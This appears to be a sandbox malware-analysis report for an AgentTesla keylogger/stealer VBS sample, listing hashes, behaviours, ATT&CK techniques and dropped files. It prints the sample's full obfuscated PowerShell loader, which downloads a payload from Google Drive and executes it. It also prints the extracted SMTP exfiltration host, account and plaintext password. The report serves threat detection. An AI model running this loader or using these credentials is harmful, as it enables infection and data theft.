agenttesla | b1f6ace20017902dbd10246ef780c162d7efa2c6eaa26934b45a784223c72293

General

Target

b1f6ace20017902dbd10246ef780c162d7efa2c6eaa26934b45a784223c72293.vbs
Size

5KB
MD5

ebdb23546bd0e7f4aee2a75909460482
SHA1

5e11c38b784b7337fc2cc6ab7100c0240476c7a2
SHA256

b1f6ace20017902dbd10246ef780c162d7efa2c6eaa26934b45a784223c72293
SHA512

b16b6573af01d2bd2314c5de1d6dd6e4cbe8080ae0b72fe9180c95f27034e69cef1b1e078162ce7783195f37050d72c9e27940b73203586cc3e1908841faf234
SSDEEP

96:QN7IU07Fzr15ZV3J0j9b0xF6Q/0Gb1plVB4CXcZQfp:QFO7hB/pJ0xb2Fn/hpLCCXcKfp

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.connectdots.my
Port:
587
Username:
[email protected]
Password:
Colony5157!
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 2 IoCs

flow	pid	Process
15	1820	powershell.exe
20	1820	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
14	drive.google.com
15	drive.google.com
38	drive.google.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
52	api.ipify.org
51	api.ipify.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2764	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2644	powershell.exe
2764	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2644 set thread context of 2764	2644	powershell.exe	100

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1820	powershell.exe
1820	powershell.exe
2644	powershell.exe
2644	powershell.exe
2644	powershell.exe
2764	wab.exe
2764	wab.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2644	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1820	powershell.exe
Token: SeDebugPrivilege	2644	powershell.exe
Token: SeDebugPrivilege	2764	wab.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1688 wrote to memory of 1820	1688	WScript.exe	84
PID 1688 wrote to memory of 1820	1688	WScript.exe	84
PID 1820 wrote to memory of 2668	1820	powershell.exe	87
PID 1820 wrote to memory of 2668	1820	powershell.exe	87
PID 1820 wrote to memory of 2644	1820	powershell.exe	96
PID 1820 wrote to memory of 2644	1820	powershell.exe	96
PID 1820 wrote to memory of 2644	1820	powershell.exe	96
PID 2644 wrote to memory of 3728	2644	powershell.exe	98
PID 2644 wrote to memory of 3728	2644	powershell.exe	98
PID 2644 wrote to memory of 3728	2644	powershell.exe	98
PID 2644 wrote to memory of 2764	2644	powershell.exe	100
PID 2644 wrote to memory of 2764	2644	powershell.exe	100
PID 2644 wrote to memory of 2764	2644	powershell.exe	100
PID 2644 wrote to memory of 2764	2644	powershell.exe	100
PID 2644 wrote to memory of 2764	2644	powershell.exe	100

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\b1f6ace20017902dbd10246ef780c162d7efa2c6eaa26934b45a784223c72293.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Respondency = 1;$Cryptovalency='Sub';$Cryptovalency+='strin';$Cryptovalency+='g';Function Orthopsychiatric($Vagtskrmenes){$Niedersachsen=$Vagtskrmenes.Length-$Respondency;For($Propping=1;$Propping -lt $Niedersachsen;$Propping+=2){$militrmissioner+=$Vagtskrmenes.$Cryptovalency.Invoke( $Propping, $Respondency);}$militrmissioner;}function Anthoxanthin($vindruernes){& ($Elev) ($vindruernes);}$Stabstamburers=Orthopsychiatric ' MIoUz i lClLa,/ 5T.,0, ,(KW i.nEd,o,wFs iNGTB N1T0,.U0 ; UW.i nK6D4.;H x.6 4 ;L r,v.: 1C2 1O.,0 )I GTe c.k o,/.2E0 1,0S0T1L0.1 .FBi,r eYfNo,x /.1 2 1 .A0m ';$tickless=Orthopsychiatric 'pUEste r -TAUg,eSnPt, ';$Lance=Orthopsychiatric 'FhRtTt p ss:I/F/ddkrFi vKeA.BgNo.omg l,eE. c,o,m,/OuBcC? ePx peoSr tB=,dSoBwRnzl oMa,d &Ci dB=V1.wAsTY VTlAWBzBj p sFR gRT,8.NR2Gz N P K,5 jTI.fUMAF,1BN o _,d N. ';$Weetbird=Orthopsychiatric ',>, ';$Elev=Orthopsychiatric '.i eDxB ';$Ultra='Termine';$Galopade = Orthopsychiatric 'Pe c h o N%WaFpWp dma,tEaT%S\DM,a c c oB.aC.otf, & & e cSh o .t ';Anthoxanthin (Orthopsychiatric ' $,gClLoSbHaPl.: B lNe,g nQb eItPs =d( c,mCdA /ScG D$CG aBl o p amd e.)H ');Anthoxanthin (Orthopsychiatric 'K$ g lToCbTaGlY:OL o nTg hMaSi rR=.$ULsa n c.e,.IsFpDl.ift (T$SW e eBt,bSiGr dR)U ');$Lance=$Longhair[0];$folkemorderiske= (Orthopsychiatric 'o$ g l oSbFa lB:MACn t.i oWcFhVu.sT=FN eDw -.O b j e,c t PS,yTsPt,e,mC.,N,e t .DW eOb,CGlAiAeDnPt');$folkemorderiske+=$Blegnbets[1];Anthoxanthin ($folkemorderiske);Anthoxanthin (Orthopsychiatric ' $gA,nat,i o.cShhuPsS. HFeBaAdNeKr s [T$ t i cCk l e s sK],=k$ SIt aGbSsKtWaTm b.uSr.eOrCsB ');$Gigantesque=Orthopsychiatric ' $ Abn t iHoScVh u s..sD oTw.n.lPo a dHFSiDl eD( $,LTa nHcAe.,I$AFSa.m e l e,sSsDnseCs ss)H ';$Famelessness=$Blegnbets[0];Anthoxanthin (Orthopsychiatric ' $OgTl oRbIaPlO:.CAaUc oSePpVi.sVt i.cG=.(TTAeTs.t,-tPMa,tLhF I$ F a m ePlGe s s n e s s,)B ');while (!$Cacoepistic) {Anthoxanthin (Orthopsychiatric 'F$PgTlToFbOa,l :,S u l pShboNz iSn.cMaAt,e,= $Gt,r uHeL ') ;Anthoxanthin $Gigantesque;Anthoxanthin (Orthopsychiatric ' SSt aUr tp-,S lPe eupC ,4 ');Anthoxanthin (Orthopsychiatric 'R$EgIl oTb a,lF: C.aTclo e,p i.sBtAiRcB=A(,T,eCsAtI- PQaLtIhR $KF aumCe,l eCsMs,n.e s s,), ') ;Anthoxanthin (Orthopsychiatric ' $,g.l.oPbIa l,:CVaaKl.eRt.a.g eR= $ g.l,oUb aCl.:sSGmLaHd.d e,r k a,s sUeE+C+A% $,L.o nNg.h aBi r .WcPoOu nPtT ') ;$Lance=$Longhair[$Valetage];}$Symbiotism=358810;$Programmeringsmuligheder=27231;Anthoxanthin (Orthopsychiatric '.$.gKl o bSa l.:SO,m,s.t nKi,nLgGsKu,dSvHivk.l i nKg,e.n ,= G,e.tS-,C.o nKt eGnKt O$ F a,mKeTlDe sUsSnreas sM ');Anthoxanthin (Orthopsychiatric 'H$SgKl oAbUaSl : PUhUoTtHo l,yLt e. P=, H[ISAySsStHeFm .CCpoin vMe,rKt.]P:,:DFDr oSmEBFaBs.eP6B4 S,tPrCi,n.gu( $LOAmSs tMnuiUn g,sSuQdPvBi.k lDiBn,g e nG), ');Anthoxanthin (Orthopsychiatric ',$TgRl o b a lS: USdRrOyPdAdCeglKsGeTrTsF2N1F6S I=. [.S yMs,tRebmE.BT.eGxotF.REBn cUo.dsion g ] :.:MAFSUCCIGI..KGSe,tDSEtMr iPn g ( $ PghWo,t o lKyDtFe ). ');Anthoxanthin (Orthopsychiatric '.$,gPl oJb a lL:Pa p.p lGe dFrRo,n e = $.U.d rQy dBd eplLsReTrSs.2H1 6B. sTu b s tSrBiSn.gU(A$BS,yFmUbSiDo tMi,sBmS, $UPHrSoRg,r a.mKm e.r inn,g.sLm uPlSiTg h eNdUedr,) ');Anthoxanthin $appledrone;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1820
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Macco.Cof && echo t"
    3⤵
    PID:2668
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Respondency = 1;$Cryptovalency='Sub';$Cryptovalency+='strin';$Cryptovalency+='g';Function Orthopsychiatric($Vagtskrmenes){$Niedersachsen=$Vagtskrmenes.Length-$Respondency;For($Propping=1;$Propping -lt $Niedersachsen;$Propping+=2){$militrmissioner+=$Vagtskrmenes.$Cryptovalency.Invoke( $Propping, $Respondency);}$militrmissioner;}function Anthoxanthin($vindruernes){& ($Elev) ($vindruernes);}$Stabstamburers=Orthopsychiatric ' MIoUz i lClLa,/ 5T.,0, ,(KW i.nEd,o,wFs iNGTB N1T0,.U0 ; UW.i nK6D4.;H x.6 4 ;L r,v.: 1C2 1O.,0 )I GTe c.k o,/.2E0 1,0S0T1L0.1 .FBi,r eYfNo,x /.1 2 1 .A0m ';$tickless=Orthopsychiatric 'pUEste r -TAUg,eSnPt, ';$Lance=Orthopsychiatric 'FhRtTt p ss:I/F/ddkrFi vKeA.BgNo.omg l,eE. c,o,m,/OuBcC? ePx peoSr tB=,dSoBwRnzl oMa,d &Ci dB=V1.wAsTY VTlAWBzBj p sFR gRT,8.NR2Gz N P K,5 jTI.fUMAF,1BN o _,d N. ';$Weetbird=Orthopsychiatric ',>, ';$Elev=Orthopsychiatric '.i eDxB ';$Ultra='Termine';$Galopade = Orthopsychiatric 'Pe c h o N%WaFpWp dma,tEaT%S\DM,a c c oB.aC.otf, & & e cSh o .t ';Anthoxanthin (Orthopsychiatric ' $,gClLoSbHaPl.: B lNe,g nQb eItPs =d( c,mCdA /ScG D$CG aBl o p amd e.)H ');Anthoxanthin (Orthopsychiatric 'K$ g lToCbTaGlY:OL o nTg hMaSi rR=.$ULsa n c.e,.IsFpDl.ift (T$SW e eBt,bSiGr dR)U ');$Lance=$Longhair[0];$folkemorderiske= (Orthopsychiatric 'o$ g l oSbFa lB:MACn t.i oWcFhVu.sT=FN eDw -.O b j e,c t PS,yTsPt,e,mC.,N,e t .DW eOb,CGlAiAeDnPt');$folkemorderiske+=$Blegnbets[1];Anthoxanthin ($folkemorderiske);Anthoxanthin (Orthopsychiatric ' $gA,nat,i o.cShhuPsS. HFeBaAdNeKr s [T$ t i cCk l e s sK],=k$ SIt aGbSsKtWaTm b.uSr.eOrCsB ');$Gigantesque=Orthopsychiatric ' $ Abn t iHoScVh u s..sD oTw.n.lPo a dHFSiDl eD( $,LTa nHcAe.,I$AFSa.m e l e,sSsDnseCs ss)H ';$Famelessness=$Blegnbets[0];Anthoxanthin (Orthopsychiatric ' $OgTl oRbIaPlO:.CAaUc oSePpVi.sVt i.cG=.(TTAeTs.t,-tPMa,tLhF I$ F a m ePlGe s s n e s s,)B ');while (!$Cacoepistic) {Anthoxanthin (Orthopsychiatric 'F$PgTlToFbOa,l :,S u l pShboNz iSn.cMaAt,e,= $Gt,r uHeL ') ;Anthoxanthin $Gigantesque;Anthoxanthin (Orthopsychiatric ' SSt aUr tp-,S lPe eupC ,4 ');Anthoxanthin (Orthopsychiatric 'R$EgIl oTb a,lF: C.aTclo e,p i.sBtAiRcB=A(,T,eCsAtI- PQaLtIhR $KF aumCe,l eCsMs,n.e s s,), ') ;Anthoxanthin (Orthopsychiatric ' $,g.l.oPbIa l,:CVaaKl.eRt.a.g eR= $ g.l,oUb aCl.:sSGmLaHd.d e,r k a,s sUeE+C+A% $,L.o nNg.h aBi r .WcPoOu nPtT ') ;$Lance=$Longhair[$Valetage];}$Symbiotism=358810;$Programmeringsmuligheder=27231;Anthoxanthin (Orthopsychiatric '.$.gKl o bSa l.:SO,m,s.t nKi,nLgGsKu,dSvHivk.l i nKg,e.n ,= G,e.tS-,C.o nKt eGnKt O$ F a,mKeTlDe sUsSnreas sM ');Anthoxanthin (Orthopsychiatric 'H$SgKl oAbUaSl : PUhUoTtHo l,yLt e. P=, H[ISAySsStHeFm .CCpoin vMe,rKt.]P:,:DFDr oSmEBFaBs.eP6B4 S,tPrCi,n.gu( $LOAmSs tMnuiUn g,sSuQdPvBi.k lDiBn,g e nG), ');Anthoxanthin (Orthopsychiatric ',$TgRl o b a lS: USdRrOyPdAdCeglKsGeTrTsF2N1F6S I=. [.S yMs,tRebmE.BT.eGxotF.REBn cUo.dsion g ] :.:MAFSUCCIGI..KGSe,tDSEtMr iPn g ( $ PghWo,t o lKyDtFe ). ');Anthoxanthin (Orthopsychiatric '.$,gPl oJb a lL:Pa p.p lGe dFrRo,n e = $.U.d rQy dBd eplLsReTrSs.2H1 6B. sTu b s tSrBiSn.gU(A$BS,yFmUbSiDo tMi,sBmS, $UPHrSoRg,r a.mKm e.r inn,g.sLm uPlSiTg h eNdUedr,) ');Anthoxanthin $appledrone;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2644
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Macco.Cof && echo t"
      4⤵
      PID:3728
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iznntwxc.vjd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Macco.Cof

Filesize
502KB

MD5
7f40a091f1c133333e814a35fe64d807

SHA1
8d278db73f3e270f33b743f358a9cfa1e3bdbe37

SHA256
5454057fe5e349e2139169937a8bb6d34b4e6e6ba83bccebaa4e701f3ccc3edb

SHA512
d930b6c0ca34da1f9cad04b5b65218bc98dde299c85627c659ae5a2f25c5321f353f1b826ee4e8bebfa32a2b7184c7a5c69c9e6a4fff42e9232f8604d511dfcb

Download Submit
memory/1820-6-0x0000021087780000-0x00000210877A2000-memory.dmp

Filesize
136KB

Download
memory/1820-11-0x00007FF85A480000-0x00007FF85AF41000-memory.dmp

Filesize
10.8MB

Download
memory/1820-12-0x00007FF85A480000-0x00007FF85AF41000-memory.dmp

Filesize
10.8MB

Download
memory/1820-58-0x00007FF85A480000-0x00007FF85AF41000-memory.dmp

Filesize
10.8MB

Download
memory/1820-41-0x00007FF85A480000-0x00007FF85AF41000-memory.dmp

Filesize
10.8MB

Download
memory/1820-0-0x00007FF85A483000-0x00007FF85A485000-memory.dmp

Filesize
8KB

Download
memory/1820-40-0x00007FF85A483000-0x00007FF85A485000-memory.dmp

Filesize
8KB

Download
memory/2644-17-0x0000000004B30000-0x0000000004B52000-memory.dmp

Filesize
136KB

Download
memory/2644-19-0x00000000054A0000-0x0000000005506000-memory.dmp

Filesize
408KB

Download
memory/2644-30-0x0000000005AC0000-0x0000000005ADE000-memory.dmp

Filesize
120KB

Download
memory/2644-31-0x0000000005B00000-0x0000000005B4C000-memory.dmp

Filesize
304KB

Download
memory/2644-32-0x0000000007330000-0x00000000079AA000-memory.dmp

Filesize
6.5MB

Download
memory/2644-33-0x0000000006060000-0x000000000607A000-memory.dmp

Filesize
104KB

Download
memory/2644-34-0x0000000006D80000-0x0000000006E16000-memory.dmp

Filesize
600KB

Download
memory/2644-35-0x0000000006D10000-0x0000000006D32000-memory.dmp

Filesize
136KB

Download
memory/2644-36-0x0000000007F60000-0x0000000008504000-memory.dmp

Filesize
5.6MB

Download
memory/2644-29-0x0000000005510000-0x0000000005864000-memory.dmp

Filesize
3.3MB

Download
memory/2644-38-0x0000000008510000-0x000000000CE19000-memory.dmp

Filesize
73.0MB

Download
memory/2644-18-0x00000000053C0000-0x0000000005426000-memory.dmp

Filesize
408KB

Download
memory/2644-16-0x0000000004BA0000-0x00000000051C8000-memory.dmp

Filesize
6.2MB

Download
memory/2644-15-0x0000000004530000-0x0000000004566000-memory.dmp

Filesize
216KB

Download
memory/2764-55-0x0000000000E00000-0x0000000000E42000-memory.dmp

Filesize
264KB

Download
memory/2764-54-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/2764-60-0x0000000024DE0000-0x0000000024E30000-memory.dmp

Filesize
320KB

Download
memory/2764-61-0x00000000254B0000-0x0000000025542000-memory.dmp

Filesize
584KB

Download
memory/2764-62-0x0000000024DD0000-0x0000000024DDA000-memory.dmp

Filesize
40KB

Download

Analysis

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